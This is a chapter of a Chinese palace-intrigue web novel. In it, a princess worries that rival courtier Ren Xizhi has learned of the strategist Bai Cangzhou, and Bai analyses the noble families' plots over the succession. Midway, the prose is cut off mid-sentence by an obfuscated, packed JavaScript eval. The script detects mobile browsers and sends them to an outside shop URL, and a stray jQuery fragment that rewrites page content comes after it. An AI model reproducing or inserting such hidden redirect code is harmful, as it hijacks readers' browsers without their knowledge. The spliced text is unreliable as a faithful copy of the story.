许穆在脑子里转换了称呼,太傅的学生,那不就是冥老爹?
那冥老爹去,是不是……是不是白沧州也会去呢?!
“好!我跟母妃说我出宫去!”
许穆乐滋滋地答应,回位置收拾学具都喜笑颜开。
盼春好久没见到殿下如此,趁着许穆拉她出门的功夫问:“殿下这是遇见什么好事了?”
许穆看着四下无人,兴奋地跟盼春说:“我能见到白沧州了!”
盼春问:“是给殿下梨糕的人?”
“对啊!”许穆一蹦一跳地拉着盼春走在花园里,“我……”
许穆话音未落,转过一灌木槿,看见任溪知双手拢在一起衣袖里,挡在许穆的面前。
他今日穿的一身福色的对襟长衫,头发上半扎着福色的发带,一身阴气。
他目光阴沉地盯着许穆,微白的唇齿微张:“布这局的人,叫白沧州?”
许穆哑然,好一会儿才反应过来:“你怎么偷听人说话?!”
任溪知垂眸:“是你们说话,没避着人。”
许穆没想到任溪知只是听了一耳朵,就能大概猜到这件事来龙去脉。
上一世,任溪知与白沧州一向不对付。
现在任溪知背靠任家,白沧州还没入仕,若是让任溪知这么早就知道白沧州这个人存在,或许白沧州这辈子都不可能入仕了!
面对任溪知这么聪明的人,许穆不知道应该怎么办。只能岔开话题,问:“你腿上的伤可好了?”
任溪知不答,只是看着许穆的反应就知道自己八成猜对了。
白沧州。
不知道为什么,听到这个名字,他很想见一见这个人。
任溪知见许穆不愿意回答这个问题,也不勉强,只是缓步出了御花园。
*
任溪知回任府自己的小院子里,还没进屋,就看见曲姨娘在外面等他。
忙迎过去问:“怎么了?”
曲姨娘做贼似地把任溪知拉进屋,从任溪知身上的香囊里掏出那晚任溪知怎么也洗不干净的手帕问:“这手帕那你是从哪里来的?”
任溪知垂眸,沉默半晌回答:“五殿下的东西。”
曲姨娘一副我就知道的神情,一脸紧张:“你不要命了?!”
那方手帕娘亲昨晚已经给他洗干净了。早上他出门,看见晾晒在窗口的帕子,心中一动,便随便在房里翻了个香囊,把帕子装进去,系在身上。
任溪知蹙眉,伸手要拿那方手帕。
曲姨娘不肯给,压低声音道:“这东西我帮你烧了!可千万不能让其他人看见!”
任溪知一听娘亲要烧,当即急了:“母亲!”
“溪知!”曲姨娘一副恨铁不成钢的样子,“你不能跟五公主有任何牵扯,你不知道吗?!你大伯也不可能让你跟五公主有牵扯的!”
任溪知沉默,又范固执了。
曲姨娘急得要命:“你难道不知道你祖父看中的太子是六皇子许璟?!日后若真是六皇子登基,那五公主就是长公主!你若是动了一点点跟五公主攀亲的念头,你大伯不会放过你的!”
任溪知成日都活在这些算计里,他怎么可能不知道大伯不会让他有别的势力依靠。
六皇子登基,五公主就是长公主……
“母亲,”任溪知伸手把那手帕拿了过来,“我知道了,这事会自己处理,不让母亲操心。”
曲姨娘苦口婆心地抱住任溪知:“溪知,我们忍气吞声了这么多年。真的输不起。你别一时兴起犯糊涂。”
任溪知眼睛忽然变得有些模糊。
他轻轻地攥紧手帕,低声问:“母亲,我这辈子是不是注定了不能喜欢任何人。也——注定了我的婚事只能是一场交易。”
曲姨娘听着儿子话里带着一点颤音,潸然泪下,扑到任溪知怀里,紧紧地抱着他,低声抽泣:“喜欢,不能让你我活着啊……溪知……”
活着……
是了,他现在寄人篱下,连活着都要仰人鼻息。
有怎么资格觊觎那些高不可攀的东西。
任溪知在姨娘哭泣声中,敛了那一丝脆弱。天际上的阴云印在眼底,任溪知的目光落在窗外更远的地方。
*
等待赴宴的这两天,许穆心里一直惴惴不安。
由于她的疏忽,任溪知已经知道了白沧州的存在,他若是对白沧州痛下杀手,恐怕白沧州这一世入仕就凶多吉少了。
她跟母妃说太傅邀请她去府上做客。
舒嫔想着女儿一向不喜欢学习,最近忽然在学习上下功夫,是个好事,早早替她回禀郭皇后说许穆要出宫去太傅府。
也不知道是不是刺杀案郭皇后心里有亏,舒嫔说许穆想出宫,郭皇后就应允了。
好不容易熬到出宫那日,她片刻不敢耽搁,让盼春去给她准备马车。轻装简行。
许穆到太傅府的时候,明慎与白沧州还没来。
许穆坐在花厅,手里虽然端着茶,但一直神魂不定地看向门外。
谢安见她如此不安,开口道:“殿下这是怎么了?”
“嗯?”许穆抬头,看见谢安平静的眼睛,犹豫片刻低声道:“我……好像闯祸了。”
谢安望着许穆。
许穆低下头说自己就是不小心在弘文馆提到了白沧州的名字,任溪知就猜出来青龙山刺杀案与明慎投案自首官复原职这件事是白沧州在背后谋划的。
许穆扣着手,眼眸微红,带着点鼻音,声音像是要哭:“我、我也不知道他怎么那么聪明只是随便听了一句,就能明白这事与白沧州有关。”
谢安至今都不太清楚自己被解禁的细节,只知道这事与许穆还有白沧州有关。
许穆这个问题他无法回答。
“无妨,”白沧州的声音从外面传来,“任溪知迟早都会知道这件事与我有关。殿下就算不说,他也会派人去把这件事查清楚。”
许穆侧头看去,白沧州换下以前的粗布麻衣,扎起一半的头发用白色绸缎束在身后,鬓角散下些许碎发,一直垂到天青色的轻纱锦段长袍肩角,跟在明慎身边一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17746522|208260||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
前一后往花厅来。
他衣角随着他走动的幅度,缓缓散开,却又被腰间小笔墨盒压得规矩。
许穆想着,大约上一世,他在自己府邸不穿官袍,在家穿着常服就是这幅慵懒的模样。
白沧州一眼便看见许穆鼻头红红的,剑眉微蹙。
但他还是依着礼与明慎一起向许穆行礼:“见过五公主殿下。”
然后转向太傅:“学生见过太傅。”
“白沧州见过太傅。”
许穆无措地望着白沧州。
白沧州似是为了让许穆安心,起身站定,缓缓道:“任溪知聪慧,只要他细细揣摩,迟早知道这事是我谋划的。”
“那他知道了以后,不会对你怎么样吗?”
许穆与白沧州有许多话不能明说。
白沧州知道许穆问这话的意思。
她怕任溪知这一世这么早知道有他这个人存在会在这里断了他的仕途。
白沧州看着许穆急得唇齿抿在一处,解释道:“老师官复原职这事能成,也是我在京兆府尹戴天和那给他的暗示。只要任家稍稍打听,就知道有我这么一个人存在。”
白沧州请太傅、老师许穆坐下听。
三人落座之后,他才继续说道:“要放出老师与太傅,这事原本没那么好办。必须要任溪知在任家多说一嘴,才能成事。”
白沧州分析道:“其实对于任家来说,无论是郭皇后身后所仪仗的郭家,还是二皇子与梁妃,谁留在最后跟任家争太子之位,任骞都不怕。”
明慎听到这里有些没听懂:“你是说,任家也想参与夺嫡?”
谢安蹙眉,摸着胡子:“这些年任家从没有公开表现出自己的野心,他们甚至还送了任溪知去给二皇子当陪读,朝里有些人以为任家支持二皇子当太子。可任骞在尚书令的位置,对郭家要办的事也不含糊。你说任家有参与夺嫡的心思……”
谢安说到这里,轻轻地摇了摇头。
说实话,任家在夺嫡这件事上隐藏的太深,明慎与谢安都没看出来。
白沧州一点也不意外,继续道:“老师与太傅好好想想便知。如今朝堂之上,任骞为尚书令,实为宰相,掌管朝廷六部,大权在握。任思义为吏部尚书,专管官员调动,很容易在朝中建立自己的朋党。若说任家看中二皇子,那应该跟梁家联姻巩固地位才是。可您看任家可有跟梁家联姻的打算?”
确实没有。
白沧州又道:“任家没有理由推二皇子上位。二皇子日后若是成了帝君,梁妃则是太后。梁家在朝堂上会迅速崛起,怎么也轮不到任家来接管朝廷大权。任家为什么要推一个有母族势力的皇子?”
听到这许穆起身去花厅侧面的书桌,拿笔把白沧州说的话,简短地记了下来——世家在朝堂的势力积重难返。
郭家、梁家、任家三大姓,把控朝政。
许穆盯着稿纸上着三个姓氏,心中暗道,上一世她真的没看出来原来在这么早的时候,夺嫡就已经开始了。
这一切,比刺杀她开始得更早。